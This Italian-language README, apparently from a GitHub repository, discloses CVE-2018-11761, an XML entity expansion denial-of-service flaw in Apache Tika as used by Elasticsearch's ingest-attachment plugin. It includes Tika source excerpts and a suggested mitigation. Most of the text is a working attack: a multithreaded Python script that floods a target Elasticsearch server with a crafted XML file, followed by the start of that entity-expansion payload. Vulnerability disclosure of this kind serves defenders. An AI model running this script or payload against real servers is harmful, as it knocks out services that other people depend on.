brianwrf/cve-2018-11761Vulnerabilità di negazione del servizio di Apache Tika (CVE-2018-11761)
In una recente ricerca su Apache Tika, ho trovato una vulnerabilità DOS (Denial of Service) nel suo parser XML. È causata dal fatto che il parser analizza in modo improprio i documenti XML.
Come sappiamo, il plugin core ingest attachment permette a Elasticsearch di estrarre allegati di file in formati comuni (come PPT, XLS e PDF) utilizzando la libreria di estrazione del testo Apache Tika. Quindi, diamo un'occhiata al codice sorgente del plugin ingest attachment.```Java /** subset of parsers for types we support */ private static final Parser PARSERS[] = new Parser[] { // documents new org.apache.tika.parser.html.HtmlParser(), new org.apache.tika.parser.rtf.RTFParser(), new org.apache.tika.parser.pdf.PDFParser(), new org.apache.tika.parser.txt.TXTParser(), new org.apache.tika.parser.microsoft.OfficeParser(), new org.apache.tika.parser.microsoft.OldExcelParser(), ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES), new org.apache.tika.parser.odf.OpenDocumentParser(), new org.apache.tika.parser.iwork.IWorkPackageParser(), new org.apache.tika.parser.xml.DcXMLParser(), new org.apache.tika.parser.epub.EpubParser(), };
In realtà, il plugin utilizza [`org.apache.tika.parser.xml.DcXMLParser()`](https://github.com/apache/tika/blob/e6e3b8817053e981f3843f1d3b7055b4ae30ed73/tika-parsers/src/main/java/org/apache/tika/parser/xml/DcXMLParser.java) come parser per estrarre il contenuto da un file XML. Indagando ulteriormente, possiamo osservare le seguenti invocazioni:
* `DcXMLParser()` estende [`XMLParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java)
* `XMLParser` usa [`XMLReaderUtils.parseSAX`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-parsers/src/main/java/org/apache/tika/parser/xml/XMLParser.java#L75) per analizzare documenti XML
* `XMLReaderUtils.parseSAX` invoca [`setPoolSize`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L470) -> [`getSAXParser`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L139) -> [`getSAXParserFactory`](https://github.com/apache/tika/blob/e24e6afb1c2a37be266839767115ad6adc5f8dcf/tika-core/src/main/java/org/apache/tika/utils/XMLReaderUtils.java#L163)```java
public static SAXParserFactory getSAXParserFactory() {
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setNamespaceAware(true);
factory.setValidating(false);
try {
factory.setFeature(
XMLConstants.FEATURE_SECURE_PROCESSING, true);
} catch (ParserConfigurationException e) {
} catch (SAXNotSupportedException e) {
} catch (SAXNotRecognizedException e) {
// TIKA-271: Some XML parsers do not support the
// secure-processing feature, even though it's required by
// JAXP in Java 5. Ignoring the exception is fine here, as
// deployments without this feature are inherently vulnerable
// to XML denial-of-service attacks.
}
return factory;
}
Nella funzione sopra, possiamo vedere restrizioni di sicurezza molto limitate per l'oggetto SAXParserFactory.newInstance():```Java
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
Secondo la spiegazione di Oracle, quando [`XMLConstants.FEATURE_SECURE_PROCESSING`](https://docs.oracle.com/javase/8/docs/api/javax/xml/XMLConstants.html) è abilitato, istruisce l'implementazione a elaborare XML in modo sicuro. Ciò può impostare limiti sui costrutti XML per evitare condizioni come attacchi denial of service.
Ma, in realtà, non è in grado di prevenire completamente [l'espansione di entità XML](http://www.ws-attacks.org/XML_Entity_Expansion). Un attaccante può comunque inviare un documento XML appositamente predisposto al server ES per effettuare un attacco DoS tramite la vulnerabilità di espansione di entità XML come menzionato nella sezione `Proof of Concept`. Ho controllato il codice sorgente di Apache Tika e abilitano solo la funzionalità `XMLConstants.FEATURE_SECURE_PROCESSING`, che potrebbero pensare possa proteggere da questo tipo di attacco secondo [questo articolo](http://blog.bdoughan.com/2011/03/preventing-entity-expansion-attacks-in.html) poiché limita il numero di espansioni di entità a 64.000 per impostazione predefinita. Ma in realtà, possiamo comunque sfruttare queste 64.000 espansioni di entità per generare un oggetto XML amplificato in memoria, ad esempio la dimensione del file `ES_XML.xml` nel POC è solo di circa 64KB, ma una volta caricato sul server Tika backend sul server ES, Tika dovrà allocare almeno 6MB di memoria (6MB / 64KB = 100 volte) per analizzarlo, il che porta a un rapido aumento dell'utilizzo della CPU.
Pertanto, a mio avviso, una possibile correzione potrebbe essere impostare la seguente proprietà di sistema per limitare notevolmente l'impatto come da [documentazione Oracle](https://docs.oracle.com/javase/tutorial/jaxp/limits/limits.html):```
jdk.xml.entityExpansionLimit=1
La seguente dimostrazione è testata e verificata su ElasticSearch 6.3.31 che utilizza Tika 1.18:
poc_dos_es.py:```Pythonimport requests import sys import base64 import json import threading import sys
headers = {"Content-Type" : "application/json"}
class ExploitThread(threading.Thread): def init(self, es_ip, es_port, mal_xml_file, thread_index): threading.Thread.init(self) self.es_ip = es_ip self.es_port = es_port self.mal_xml_file = mal_xml_file self.thread_index = thread_index self.num = 1
def create_ingest_att_pipeline(self, url):
pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
data = {
"description" : "Extract attachment information",
"processors" : [{
"attachment" : {
"field" : "data",
"indexed_chars": "-1"
}
}]
}
res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))
def send_payload(self, url, payload):
ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
data = {
"data": payload
}
res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))
def verify_mal_doc(self, url):
ingest_url = "{}/my_index/_doc/1".format(url)
res = requests.get(ingest_url, headers=headers)
if res.status_code == 200:
print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
else:
print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))
def run(self):
url = "http://{}:{}".format(self.es_ip, self.es_port)
with open(self.mal_xml_file, 'rb') as f:
content = base64.b64encode(f.read())
self.create_ingest_att_pipeline(url)
while True:
print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
self.send_payload(url, content)
self.num += 1
#self.verify_mal_doc(url)
if name == "main":
# ES server's IP, Port
es_ip = sys.argv[1]
es_port = sys.argv[2]
# Crafted XML file
mal_xml_file = sys.argv[3]
# Number of Processes
thread_num = int(sys.argv[4])
for i in range(thread_num):
i += 1
t = ExploitThread(es_ip, es_port, mal_xml_file, i)
t.start()
* Creare un documento XML appositamente creato e salvarlo come `ES_XML.xml`:```XML
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a "123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000